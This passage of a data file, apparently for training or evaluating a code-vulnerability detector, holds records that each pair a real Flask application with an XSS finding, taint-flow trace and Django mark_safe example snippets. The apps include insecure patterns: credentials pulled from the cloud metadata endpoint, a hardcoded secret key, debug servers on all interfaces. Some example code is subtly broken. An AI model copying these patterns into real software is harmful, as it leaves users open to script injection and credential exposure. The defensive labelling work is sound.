"5bc2ed16c97a26a53ba2f38d3d482faf45aa2b5e", "stack_hexsha": "a7f06203662ceea24f8b4b3efb43570351e79b08", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 106, "entireCode": "from app import webapp, mysql\nfrom flask import render_template, request, flash, redirect, jsonify, make_response, session, url_for\nfrom .const import ErrorMessages\nimport os, cv2, json\nimport MySQLdb.cursors\nfrom werkzeug.security import generate_password_hash, check_password_hash\nimport pymysql\nimport boto3\nimport requests\nr = requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/assignment2S3')\njson_obj = r.json()\nprint(json_obj)\nTOKEN = json_obj[\"Token\"]\nAccessKeyId = json_obj[\"AccessKeyId\"]\nSecretAccessKey=json_obj[\"SecretAccessKey\"]\nBUCKET_NAME='ece1779a2hanyu'\ncon = con = pymysql.connect(\n host= \"assignment1-ece1779.cgm5nkly1umo.us-east-1.rds.amazonaws.com\", #endpoint link\n port = 3306, # 3306\n user = \"admin\", # admin\n password = \"\", #\n db=\"assignment1-ece1779\"\n )\ns3 = boto3.client(\n 's3',\n region_name = 'us-east-1',\n aws_access_key_id= AccessKeyId,\n aws_secret_access_key=SecretAccessKey,\n aws_session_token=TOKEN)\n#for b in s3.list_objects(Bucket='ece1779a2hanyu')['Contents']:\n# print(b)\n##Function tools\ndef generate_success_responses(val):\n response = make_response(\n jsonify(\n {\"success\": True, \"payload\": val}\n ),\n 202,\n )\n response.headers[\"Content-Type\"] = \"application/json\"\n return response\n\ndef generate_error_responses(val):\n response = make_response(\n jsonify(\n {\"success\": False, \"error\": {\"code\": \"servererrorcode\", \"message\": val}}\n ),\n 404,\n )\n response.headers[\"Content-Type\"] = \"application/json\"\n return response\n\n\ndef check_file_type(file_list):\n failure_file_list = []\n for f in file_list:\n if f.filename.split(\".\")[-1] not in webapp.config[\"ALLOWED_IMAGE_EXTENSIONS\"]:\n failure_file_list.append(f.filename)\n if len(failure_file_list) == 0:\n return (True, [])\n else:\n return (False, failure_file_list)\n\n\ndef run_image_detection(img_path, filename, username):\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n new_file_name = filename.split(\".\")[0]+\"_processed.\"+filename.split(\".\")[-1]\n output_img_path = os.path.join(webapp.config[\"IMAGE_UPLOADS_PATH\"], username,'work/',new_file_name)\n print(output_img_path)\n print(os.getcwd())\n ##Change to FaceMaskDectection working directory\n os.chdir(\"app/FaceMaskDetection\")\n #from is still accessing from app level\n from .FaceMaskDetection.pytorch_infer import inference\n res_list = inference(img, output_img_path, show_result=True, target_shape=(360, 360))\n ##Change back to Flask working directory\n os.chdir(\"../..\")\n payload = {\"filename\": new_file_name}\n num_faces = len(res_list)\n num_unmasked = len([x[0] for x in res_list if x[0] == 0])\n num_masked = len([x[0] for x in res_list if x[0] == 1])\n payload = {\"filename\": new_file_name, \"num_faces\":num_faces, \"num_unmasked\":num_unmasked, \"num_masked\":num_masked}\n return payload\n\n@webapp.route('/home/upload', methods=['GET'])\ndef upload_interface():\n return render_template('file_upload.html')\n\n\n\n@webapp.route('/upload/success', methods=['GET'])\ndef success_upload_interface():\n username = session[\"username\"]\n payload = request.args['messages']\n payload = json.loads(payload)\n new_file_name = payload[\"filename\"]\n full_filename = os.path.join('/static/images/', username, 'work', new_file_name)\n s3_filename = os.path.join(webapp.config[\"IMAGE_UPLOADS_PATH\"], username, 'work', new_file_name)\n s3.upload_file(\n Bucket = BUCKET_NAME,\n Filename=s3_filename,\n Key = s3_filename\n )\n print(full_filename)\n return render_template('file_upload_success.html', new_image = full_filename, payload=payload )\n\n@webapp.route('/upload/image', methods=['POST'])\ndef img_upload():\n file_obj = request.files\n if 'file' not in file_obj:\n flash(\"This endpoint is only for file based post request\")\n return redirect('/home/upload')\n #Convert the ImmutableMultiDic]t class to list\n file_list = file_obj.getlist('file')\n # Check if user uploads empty files\n if file_list[0].filename == '':\n flash(ErrorMessages.EMPTY_FILE_UPLOAD)\n return redirect(request.url)\n # Check is file type is allowed type\n status, failure_items = check_file_type(file_list)\n if not status:\n flash(ErrorMessages.INVALID_FILE_FORMAT + str(failure_items))\n return redirect('/home/upload')\n #Save the files to local directory\n if len(file_list) > 1:\n flash(ErrorMessages.MULTI_FILE_ERROR)\n return redirect(request.url)\n #get username\n user_id = session[\"id\"]\n username = session[\"username\"]\n img_path = os.path.join(webapp.config[\"IMAGE_UPLOADS_PATH\"], username, 'work',file_list[0].filename)\n file_list[0].save(img_path)\n print(img_path)\n s3.upload_file(\n Bucket = BUCKET_NAME,\n Filename=img_path,\n Key = img_path\n )\n payload = run_image_detection(img_path, file_list[0].filename, username)\n print(payload)\n messages = json.dumps(payload)\n #session['messages'] = messages\n #except Exception as e:\n ## print(e)\n # return generate_error_responses(str(e))\n #### show processed img on website and srore the history imgs\n img_type= None\n if payload[\"num_faces\"] == 0:\n img_type = \"noface\"\n elif payload[\"num_faces\"] == payload[\"num_masked\"]:\n img_type = \"allmasks\"\n elif payload[\"num_masked\"] == 0:\n img_type = \"nomasks\"\n else:\n img_type = \"somemasks\"\n #new_value = cur.execute('SELECT COUNT(*) FROM images')\n #f = list(new_value)[0]+1\n #print(f)\n #saved_path = os.path.join(webapp.config[\"IMAGE_UPLOADS_PATH\"], username, str(f)+\".jpeg\")\n #file_list[0].save(saved_path)\n try: \n cur = con.cursor()\n saved_path = os.path.join('/static/images', username, 'work',file_list[0].filename)\n cur.execute(\"INSERT INTO images SET image_path= %s, image_type=%s, user_id=%s\", (saved_path, img_type, user_id))\n con.commit()\n return redirect(url_for('success_upload_interface', messages=messages))\n except Exception as e:\n print(e)\n flash(str(e))\n return redirect(request.url)\n \n\n\n@webapp.route('/upload/history', methods=['GET'])\ndef history_images():\n user_id = session[\"id\"]\n\n cur = con.cursor()\n\n\n somemasks_num = cur.execute(\"SELECT image_path FROM images WHERE user_id =%s and image_type=%s\",(user_id, \"somemasks\"))\n somemasks_q = cur.fetchall()\n somemasks_list=[]\n if somemasks_num != 0:\n for i in somemasks_q:\n somemasks_list.append(list(i)[0])\n noface_num = cur.execute(\"SELECT image_path FROM images WHERE user_id =%s and image_type=%s\",(user_id, \"noface\"))\n noface_q = cur.fetchall()\n noface_list = []\n if noface_num !=0:\n for i in noface_q:\n noface_list.append(list(i)[0])\n allmasks_num = cur.execute(\"SELECT image_path FROM images WHERE user_id =%s and image_type=%s\",(user_id, \"allmasks\"))\n allmasks_q = cur.fetchall()\n allmasks_list = []\n if allmasks_num !=0:\n for i in allmasks_q:\n allmasks_list.append(list(i)[0])\n nomasks_num = cur.execute(\"SELECT image_path FROM images WHERE user_id =%s and image_type=%s\",(user_id, \"nomasks\"))\n nomasks_q = cur.fetchall()\n nomasks_list = []\n if nomasks_num !=0:\n for i in nomasks_q:\n nomasks_list.append(list(i)[0])\n \n return render_template('history_image.html', noface=noface_list, allmasks=allmasks_list, nomasks=nomasks_list, somemasks=somemasks_list)\n\n\n\n\n@webapp.route('/api/upload', methods=['POST'])\ndef img_upload_api():\n file_obj = request.files\n if 'file' not in file_obj:\n return generate_error_responses(ErrorMessages.EMPTY_FILE_UPLOAD)\n print(request)\n if \"username\" not in request.form or \"password\" not in request.form:\n return generate_error_responses(ErrorMessages.INCORRECT_PARAMS)\n username = request.form['username']\n password = request.form['password']\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute('SELECT * FROM users WHERE username = %s', (username,))\n account = cursor.fetchone()\n if account and check_password_hash(account[\"password\"], request.form['password']):\n user_id = account[\"id\"]\n else:\n return generate_error_responses(ErrorMessages.USER_NOT_EXISTS)\n\n #Convert the ImmutableMultiDic]t class to list\n file_list = file_obj.getlist('file')\n # Check if user uploads empty files\n if file_list[0].filename == '':\n return generate_error_responses(ErrorMessages.EMPTY_FILE_UPLOAD)\n # Check is file type is allowed type\n status, failure_items = check_file_type(file_list)\n if not status:\n return generate_error_responses(ErrorMessages.INVALID_FILE_FORMAT + str(failure_items))\n #Save the files to local directory\n if len(file_list) > 1:\n return generate_error_responses(ErrorMessages.MULTI_FILE_ERROR)\n img_path = os.path.join(webapp.config[\"IMAGE_UPLOADS_PATH\"], username, 'work',file_list[0].filename)\n file_list[0].save(img_path)\n s3.upload_file(\n Bucket = BUCKET_NAME,\n Filename=img_path,\n Key = img_path\n )\n payload = run_image_detection(img_path, file_list[0].filename, username)\n\n img_type= None\n if payload[\"num_faces\"] == 0:\n img_type = \"noface\"\n elif payload[\"num_faces\"] == payload[\"num_masked\"]:\n img_type = \"allmasks\"\n elif payload[\"num_masked\"] == 0:\n img_type = \"nomasks\"\n else:\n img_type = \"somemasks\"\n try: \n cur = mysql.connection.cursor()\n con = mysql.connection\n saved_path = os.path.join('/static/images', username, 'work',file_list[0].filename)\n cur.execute(\"INSERT INTO images SET image_path= %s, image_type=%s, user_id=%s\", (saved_path, img_type, user_id))\n con.commit()\n payload.pop(\"filename\")\n return generate_success_responses(payload)\n except Exception as e:\n return generate_error_responses(str(e))", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 95, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 95, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 95, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args[\"messages\"]"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.loads"}}, {"lineNo": 97, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "payloadsuccess_upload_interface.payload[\"filename\"]"}}, {"lineNo": 98, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 98, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 106, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "b0d63cb197e79ee496ea949d95b4526509767b53d98a10c827fdd696e56773a8", "license": {"spdx": ["MIT"], "repo": "harshitaggarwal01/Octahacks", "path": "Virtual Diary Mod/app.py", "repo_head_hexsha": "8afbbf236e23cc84fe61b6a7664728c62c313b0b", "stack_hexsha": "b83656b7b19e992952248497b8c785877addc238", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 47, "entireCode": "from __future__ import unicode_literals\nfrom flask import Flask, render_template, request\nfrom Summarizers.spacy_summarization import text_summarizer\nimport time\nimport spacy\nimport re\nimport pandas as pd\nimport numpy as np\nimport ktrain\nfrom ktrain import text\nimport pickle\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\n\npredictor=ktrain.load_predictor('models/bert_model')\nnlp = spacy.load('en_core_web_sm')\napp = Flask(__name__)\noutput = []\n\nclassifier = pickle.load(open('models/model.pkl','rb'))\ncv = pickle.load(open('models/cv.pkl','rb'))\n\n# Reading Time\ndef readingTime(mytext):\n total_words = len(mytext)\n estimatedTime = total_words / 200.0\n return estimatedTime\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/analyze', methods=['GET', 'POST'])\ndef analyze():\n start = time.time()\n if request.method == 'POST':\n rawtext = request.form['rawtext']\n final_reading_time = readingTime(rawtext)\n final_summary = text_summarizer(rawtext)\n preds=predictor.predict(final_summary)\n data=[rawtext]\n vect = cv.transform(data).toarray()\n my_predict = classifier.predict(vect)\n summary_reading_time = readingTime(final_summary)\n end = time.time()\n final_time = end - start\n return render_template('index.html', ctext=rawtext, final_summary=final_summary, final_time=final_time,\n final_reading_time=final_reading_time, summary_reading_time=summary_reading_time, predictions=preds,depress=my_predict)\n\n@app.route('/about')\ndef about():\n return render_template('index.html')\n\nif __name__ == '__main__':\n app.run(debug=True, use_reloader=False)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"rawtext\"]"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 47, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "cc950083d27a13ec1730b85ade0b9eaa12f425eb5a33091f4d2b02334609b41f", "license": {"spdx": ["MIT"], "repo": "msank00/web_api_nlp", "path": "app_semsearch.py", "repo_head_hexsha": "63bc76d0df4f3baf09c2f4cc4ed218e6fa5acf8a", "stack_hexsha": "e85b2835a1d4e5bd4354011b84c57bcbeb481e6b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 30, "entireCode": "from flask import Flask, request, render_template\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom nltk.corpus import stopwords\nimport numpy as np\nimport uuid\nfrom faker import Faker\nfk = Faker()\n\nset(stopwords.words('english'))\n\napp = Flask(__name__)\n\nform_type = \"form_boost_v3.html\"\n\n@app.route(\"/\")\ndef my_form():\n return render_template(form_type)\n\n@app.route(\"/reset/\", methods=[\"POST\"])\ndef reset_page():\n return render_template(form_type)\n\n@app.route(\"/queryexpansion/\", methods=['POST'])\ndef query_expansion():\n\n query_str = request.form['text1']\n do_query_expansion = True\n\n return render_template(form_type, \n query_expand = do_query_expansion, \n query = query_str, \n result1 = \"result 1\", \n result2 = \"result 2\", \n result3 = \"result 3\", \n result4 = \"result 4\", \n result5 = \"result 5\")\n\n@app.route(\"/querysearch/\", methods=['POST'])\ndef query_search():\n\n query_str = request.form['text2']\n do_sem_search = True\n\n result = get_search_result(query_str)\n\n return render_template(form_type, \n sem_search = do_sem_search, \n doc_id_1 = result[\"rank1\"][\"doc_id\"], \n doc_text_1 = result[\"rank1\"][\"doc_text\"], \n doc_id_2 = result[\"rank2\"][\"doc_id\"], \n doc_text_2 = result[\"rank2\"][\"doc_text\"], \n doc_id_3 = result[\"rank3\"][\"doc_id\"], \n doc_text_3 = result[\"rank3\"][\"doc_text\"],\n doc_id_4 = result[\"rank4\"][\"doc_id\"], \n doc_text_4 = result[\"rank4\"][\"doc_text\"],\n doc_id_5 = result[\"rank5\"][\"doc_id\"], \n doc_text_5 = result[\"rank5\"][\"doc_text\"])\n\ndef get_search_result(query: str):\n\n result = {}\n for i in range(5):\n rank_no = i+1\n result[f\"rank{rank_no}\"]={} \n result[f\"rank{rank_no}\"][\"doc_id\"] = f\"Rank {rank_no}, Doc-ID: {str(uuid.uuid1())}\"\n result[f\"rank{rank_no}\"][\"doc_text\"] = fk.text()\n\n return result\n\nif __name__ == \"__main__\":\n app.run(debug=True, host=\"0.0.0.0\",port=8090, threaded=True)\n ", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"text1\"]"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "6a7571ded353b7bbbbf993b30ec148cf6eca6d343a378000f661df73ebb2a7a6", "license": {"spdx": ["Unlicense"], "repo": "nicholsont/catalog_app", "path": "application.py", "repo_head_hexsha": "011e4c35401aa1128a4cf1ca99dd808da7a759e6", "stack_hexsha": "139ed09f5c5b42cbc50f76d8cc6ce28401b30b04", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 293, "entireCode": "from flask import Flask, render_template, request, redirect, jsonify, g\nfrom flask import url_for, flash, make_response\nfrom flask import session as login_session\nfrom sqlalchemy import create_engine, asc\nfrom sqlalchemy.orm import sessionmaker\nfrom models import Base, Category, Item, User\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import FlowExchangeError\nimport httplib2\nimport json\nimport requests\n\napp = Flask(__name__)\n\n# Retrieves client ID's and secrets from the json files\nCLIENT_ID = json.loads(open('client_secrets.json', 'r')\n .read())['web']['client_id']\nAPP_ID = json.loads(open('fb_client_secrets.json', 'r')\n .read())['web']['app_id']\nAPP_SECRET = json.loads(open('fb_client_secrets.json', 'r')\n .read())['web']['app_secret']\n\n# Connect to Database and create database session\nengine = create_engine('sqlite:///catalog.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n\n# Login handler\n@app.route('/login')\ndef showLogin():\n \"\"\"JSON API to view entire catalog Information.\"\"\"\n return render_template('login.html')\n\n\n# Third Party Oauth callback\n@app.route('/oauth/', methods=['POST'])\ndef oauthLogin(provider):\n \"\"\"\n Retrieves provider to process oauth login.\n params:(string) oauth provider\n \"\"\"\n if provider == 'google':\n code = request.data\n try:\n # Upgrade auth code into credentials object\n oauth_flow = flow_from_clientsecrets('client_secrets.json',\n scope='')\n oauth_flow.redirect_uri = 'postmessage'\n credentials = oauth_flow.step2_exchange(code)\n except FlowExchangeError:\n response = make_response(\n json.dumps('Failed to upgrade the authorization code.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n # Check for valid access token\n access_token = credentials.access_token\n url = 'https://www.googleapis.com/oauth2/v1/tokeninfo?' \\\n 'access_token={}'.format(access_token)\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1])\n\n # Access token error handling\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = ' application/json'\n return response\n\n # Store access token in session\n login_session['provider'] = 'google'\n login_session['access_token'] = access_token\n login_session['gplus_id'] = credentials.id_token['sub']\n\n # Get user info\n userinfo_url = 'https://www.googleapis.com/oauth2/v1/userinfo'\n params = {'access_token': login_session['access_token'], 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n data = json.loads(answer.text)\n\n login_session['username'] = data['name']\n login_session['picture'] = data['picture']\n login_session['email'] = data['email']\n\n elif provider == 'facebook':\n access_token = request.data\n url = 'https://graph.facebook.com/oauth/access_token?grant_type=' \\\n 'fb_exchange_token&client_id={}&client_secret={}&' \\\n 'fb_exchange_token={}'.format(APP_ID, APP_SECRET, access_token) # noqa\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1])\n\n # Strip expire tag from access token\n access_token = result['access_token']\n\n url = 'https://graph.facebook.com/v2.11/me?access_token={}&fields=' \\\n 'name,id,email,picture'.format(access_token) # noqa\n h = httplib2.Http()\n result = json.loads(h.request(url, 'GET')[1])\n\n # Get user info\n data = result\n\n login_session['access_token'] = access_token\n login_session['provider'] = 'facebook'\n login_session['username'] = data['name']\n login_session['email'] = data['email']\n login_session['picture'] = data['picture']['data']['url']\n login_session['facebook_id'] = data['id']\n\n # Checks if user exists in DB\n if getUserID(login_session['email']) is not None:\n login_session['user_id'] = getUserID(login_session['email'])\n else:\n createUser(login_session)\n login_session['user_id'] = getUserID(login_session['email'])\n\n # Stores token in session\n user = session.query(User).filter_by(email=login_session['email']).first()\n token = user.generate_auth_token(600)\n login_session['token'] = token\n\n output = ''\n output += '

Welcome, {}!

'.format(login_session['username'])\n output += ''\n flash('Now logged in as {}'.format(login_session['username']))\n return output\n\n\ndef createUser(login_session):\n newUser = User(username=login_session['username'],\n email=login_session['email'],\n picture=login_session['picture'])\n session.add(newUser)\n session.commit()\n\n\ndef getUserID(email):\n try:\n user = session.query(User).filter_by(email=email).one()\n return user.id\n except:\n return None\n\n\n# Revoke current user's token and reset login_session\n@app.route('/logout')\ndef logout():\n if 'provider' in login_session:\n if login_session['provider'] == 'google':\n del login_session['gplus_id']\n if login_session['provider'] == 'facebook':\n del login_session['facebook_id']\n del login_session['access_token']\n del login_session['username']\n del login_session['picture']\n del login_session['email']\n del login_session['token']\n flash(\"You have been successfully logged out.\")\n return redirect(url_for('showCatalog'))\n else:\n flash(\"No user has been logged in.\")\n return redirect(url_for('showCatalog'))\n\n\n# JSON APIs to view Category Information.\n@app.route('/catalog/JSON')\ndef catalogJSON():\n categories = session.query(Category).all()\n items = session.query(Item).order_by(Item.category_id).limit(3)\n\n return jsonify(Categories=[c.serialize for c in categories],\n Items=[i.serialize for i in items])\n\n\n@app.route('/catalog//JSON')\ndef catalogCategoryJSON(category):\n itemCategory = session.query(Category).filter_by(name=category).first()\n items = session.query(Item).filter_by(category_id=itemCategory.id).all()\n\n return jsonify(Categories=[itemCategory.serialize],\n Items=[i.serialize for i in items])\n\n\n@app.route('/catalog///JSON')\ndef categoryItemJSON(category, item):\n itemCategory = session.query(Category).filter_by(name=category).first()\n item = session.query(Item).filter_by(name=item,\n category_id=itemCategory.id).first()\n\n return jsonify(Category=[itemCategory.serialize],\n Item=[item.serialize])\n\n\n# Show all Categories and the latest items\n@app.route('/')\n@app.route('/catalog')\ndef showCatalog():\n categories = session.query(Category).all()\n items = session.query(Item).order_by(Item.category_id).limit(3)\n if 'token' not in login_session:\n return render_template('publiccatalog.html',\n categories=categories, items=items)\n else:\n return render_template('catalog.html',\n categories=categories, items=items)\n\n\n# Show Items in a category item\n@app.route('/catalog//')\ndef showCatalogCategory(category):\n itemCategory = session.query(Category).filter_by(name=category).first()\n items = session.query(Item).filter_by(category_id=itemCategory.id).all()\n categories = session.query(Category).all()\n if 'token' not in login_session:\n return render_template('publiccategory.html',\n items=items, category=itemCategory,\n categories=categories)\n else:\n return render_template('category.html', items=items,\n category=itemCategory, categories=categories)\n\n\n# Show an item in a category\n@app.route('/catalog///')\ndef showCategoryItem(category, item):\n category = session.query(Category).filter_by(name=category).first()\n item = session.query(Item).filter_by(name=item,\n category_id=category.id).first()\n categories = session.query(Category).all()\n if 'token' not in login_session:\n return render_template('publiccategoryitem.html',\n item=item, category=category,\n categories=categories)\n return render_template('categoryitem.html', item=item,\n category=category, categories=categories)\n\n\n# Create a new item\n@app.route('/catalog/category/new/', methods=['GET', 'POST'])\ndef newCategoryItem():\n if 'token' not in login_session:\n return redirect('/login')\n categories = session.query(Category).all()\n user = session.query(User).filter_by(email=login_session['email']).one()\n if request.method == 'POST':\n category = session.query(Category).filter_by(\n name=request.form['category']).first()\n newItem = Item(name=request.form['name'],\n description=request.form['description'],\n category_id=category.id, user_id=user.id)\n session.add(newItem)\n session.commit()\n flash('New Item {} Successfully Added'.format(newItem.name))\n return redirect(url_for('showCatalog'))\n else:\n return render_template('newcategoryitem.html', categories=categories)\n\n\n# Edit a category item\n@app.route('/catalog///edit', methods=['GET', 'POST'])\ndef editCategoryItem(category, item):\n if 'token' not in login_session:\n return redirect('/login')\n user = session.query(User).filter_by(email=login_session['email']).first()\n categoryItem = session.query(Category).filter_by(name=category).first()\n editedItem = session.query(Item).filter_by(\n name=item, category_id=categoryItem.id).first()\n categories = session.query(Category).all()\n if user.id != editedItem.user_id:\n flash('You are not authorized to edit {}.'.format(item))\n return redirect(url_for('showCategoryItem', category=categoryItem.name,\n item=editedItem.name))\n if request.method == 'POST':\n if request.form['name']:\n editedItem.name = request.form['name']\n if request.form['description']:\n editedItem.description = request.form['description']\n if request.form['category']:\n category = session.query(Category).filter_by(\n name=request.form['category']).first()\n editedItem.category_id = category.id\n session.add(editedItem)\n session.commit()\n flash('Item Successfully Edited')\n return redirect(url_for('showCategoryItem',\n category=request.form['category'],\n item=editedItem.name))\n else:\n return render_template('editcategoryitem.html',\n category=categoryItem.name,\n item=editedItem.name, categories=categories,\n editedItem=editedItem)\n\n\n# Delete a category item\n@app.route('/catalog///delete', methods=['GET', 'POST'])\ndef deleteCategoryItem(category, item):\n if 'token' not in login_session:\n return redirect('/login')\n user = session.query(User).filter_by(email=login_session['email']).first()\n categoryItem = session.query(Category).filter_by(name=category).first()\n itemToDelete = session.query(Item).filter_by(\n name=item, category_id=categoryItem.id).first()\n if user.id != itemToDelete.user_id:\n flash('You are not authorized to delete {}.'.format(item))\n return redirect(url_for('showCategoryItem', category=categoryItem.name,\n item=itemToDelete.name))\n if request.method == 'POST':\n session.delete(itemToDelete)\n session.commit()\n flash('Item Successfully Deleted')\n return redirect(url_for('showCatalog'))\n else:\n return render_template('deletecategoryitem.html',\n category=categoryItem.name,\n item=itemToDelete.name)\n\n\nif __name__ == '__main__':\n app.secret_key = 'N10kuN!'\n app.debug = True\n app.run(host='0.0.0.0', port=5000)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = 